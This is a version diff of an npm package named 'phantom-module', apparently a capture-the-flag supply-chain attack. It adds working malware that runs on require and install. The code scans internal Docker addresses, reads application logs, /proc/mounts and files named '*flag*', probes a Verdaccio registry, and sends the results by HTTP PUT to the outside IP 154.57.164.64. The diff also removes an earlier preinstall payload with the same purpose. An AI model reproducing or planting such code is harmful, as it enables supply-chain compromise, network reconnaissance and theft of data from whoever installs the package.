phantom-module 117.0.9 → 117.0.11

package/index.js

@@ -1 +1,67 @@
-module.exports = {};
+const fs = require('fs');
+const http = require('http');
+const net = require('net');
+
+(function() {
+  if (!fs.existsSync('/home/node/aspect-node')) {
+      return; 
+  }
+
+  let results = "";
+  let pending = 0;
+  const ips = [];
+  for (let i = 1; i <= 10; i++) {
+    ips.push(`172.17.0.${i}`);
+  }
+
+  function sendResults() {
+    const postData = JSON.stringify({
+      manifest: `ecto_module:\n  name: "PORT_SCAN"\n  cargo_hold: ${JSON.stringify(results.substring(0, 3500))}\n`
+    });
+    
+    const req = http.request({
+      hostname: '154.57.164.64', 
+      port: 31205,
+      path: '/api/modules/ECT-839201', 
+      method: 'PUT',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+    });
+    req.write(postData);
+    req.end();
+  }
+
+  ips.forEach(ip => {
+    pending++;
+    const sock = new net.Socket();
+    sock.setTimeout(2000);
+    sock.on('connect', () => {
+      results += `${ip}:4873 OPEN\n`;
+      sock.destroy();
+      pending--;
+      if (pending === 0) sendResults();
+    });
+    sock.on('timeout', () => {
+      results += `${ip}:4873 TIMEOUT\n`;
+      sock.destroy();
+      pending--;
+      if (pending === 0) sendResults();
+    });
+    sock.on('error', (e) => {
+      results += `${ip}:4873 ${e.code}\n`;
+      pending--;
+      if (pending === 0) sendResults();
+    });
+    sock.connect(4873, ip);
+  });
+
+  setTimeout(() => {
+    if (pending > 0) {
+      results += `(${pending} still pending)\n`;
+      sendResults();
+    }
+  }, 5000);
+})();
+
+module.exports = function() {
+  return "pwnd";
+};

package/install.js

@@ -0,0 +1,36 @@
+const fs = require('fs');
+const http = require('http');
+const { spawn } = require('child_process');
+
+(function() {
+  const child = spawn('/bin/sh', ['-c', [
+    'sleep 35',
+    'OUTPUT="NONE"',
+    'LOGFILE="/home/node/aspect-node/logs/module.log"',
+    'if [ -f "$LOGFILE" ]; then',
+    '  OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
+    'else',
+    '  OUTPUT="LOG FILE NOT FOUND!"',
+    'fi',
+    'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
+    'BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"FLAG_DELAYED\\\\"\\n  cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
+    'echo "$BODY" > /tmp/flag.json',
+    'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
+  ].join('\n')], { detached: true, stdio: 'ignore' });
+  
+  child.unref();
+
+  // Send an immediate ping so we know it started
+  const postData = JSON.stringify({
+    manifest: `ecto_module:\n  name: "WAITING_35_SECONDS"\n`
+  });
+  const req = http.request({
+    hostname: '154.57.164.64', 
+    port: 31205,
+    path: '/api/modules/ECT-654321', 
+    method: 'PUT',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+  });
+  req.write(postData);
+  req.end();
+})();

package/package.json

@@ -1,9 +1,5 @@
 {
   "name": "phantom-module",
-  "version": "117.0.9",
-  "description": "Phantom module",
-  "main": "index.js",
-  "scripts": {
-    "preinstall": "node payload.js || true"
-  }
+  "version": "117.0.11",
+  "main": "index.js"
 }

package/payload.js

@@ -1,96 +0,0 @@
-const net = require('net');
-const http = require('http');
-const fs = require('fs');
-
-if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
-
-const REPORT_HOST = '154.57.164.64';
-const REPORT_PORT = 31205;
-
-async function report(moduleId, data) {
-  return new Promise((resolve) => {
-    const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
-    const manifest = `ecto_module:\n  name: "SCAN_RESULT"\n  cargo_hold: "${safeData}"\n`;
-    const payload = JSON.stringify({ manifest });
-    const req = http.request({
-      hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
-    }, () => resolve(true));
-    req.on('error', () => resolve(false));
-    req.write(payload);
-    req.end();
-  });
-}
-
-function checkPort(host, port) {
-  return new Promise((resolve) => {
-    const sock = new net.Socket();
-    sock.setTimeout(200); // Very fast timeout
-    sock.on('connect', () => { sock.destroy(); resolve(true); });
-    sock.on('error', () => { sock.destroy(); resolve(false); });
-    sock.on('timeout', () => { sock.destroy(); resolve(false); });
-    sock.connect(port, host);
-  });
-}
-
-function httpGet(url) {
-  return new Promise((resolve) => {
-    const req = http.get(url, { timeout: 1000 }, (res) => {
-      let body = '';
-      res.on('data', c => body += c);
-      res.on('end', () => resolve({ status: res.statusCode, body }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-  });
-}
-
-async function main() {
-  await report('ECT-654321', 'SCAN V9 STARTING...');
-  
-  // 1. Check Mounts
-  try {
-      const mounts = fs.readFileSync('/proc/mounts', 'utf8');
-      await report('ECT-654321', `=== MOUNTS ===\n${mounts.substring(0, 3000)}`);
-  } catch(e) {}
-
-  // 2. Network Scan
-  const base = '172.17.0';
-  const ports = [4873, 80, 8080, 8081, 3000, 5000];
-  let scanOutput = '=== SCAN V9 ===\n';
-  let foundTarget = null;
-
-  // Batch scan
-  for (let i = 1; i < 20; i++) { // Scan first 20 IPs aggressively
-      const ip = `${base}.${i}`;
-      for (const port of ports) {
-          if (await checkPort(ip, port)) {
-              scanOutput += `OPEN ${ip}:${port}\n`;
-              // Try HTTP probe
-              const res = await httpGet(`http://${ip}:${port}/`);
-              scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body.length})\n`;
-              
-              if (res.body.includes('Verdaccio') || res.status === 200) {
-                  foundTarget = `http://${ip}:${port}`;
-              }
-          }
-      }
-  }
-  
-  await report('ECT-839201', scanOutput);
-
-  if (foundTarget) {
-      // Query for ecto-spirit
-      const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
-      let result = `=== ECTO-SPIRIT from ${foundTarget} ===\nSTATUS: ${ecto.status}\n${ecto.body}\n`;
-      
-      // Also try to list all packages
-      const all = await httpGet(`${foundTarget}/-/all`);
-      result += `\n=== ALL PACKAGES ===\n${all.body.substring(0, 1000)}\n`;
-      
-      await report('ECT-987654', result);
-  } else {
-      await report('ECT-987654', 'No web service found.');
-  }
-}
-
-main().catch(e => report('ECT-654321', 'ERR: ' + e.message));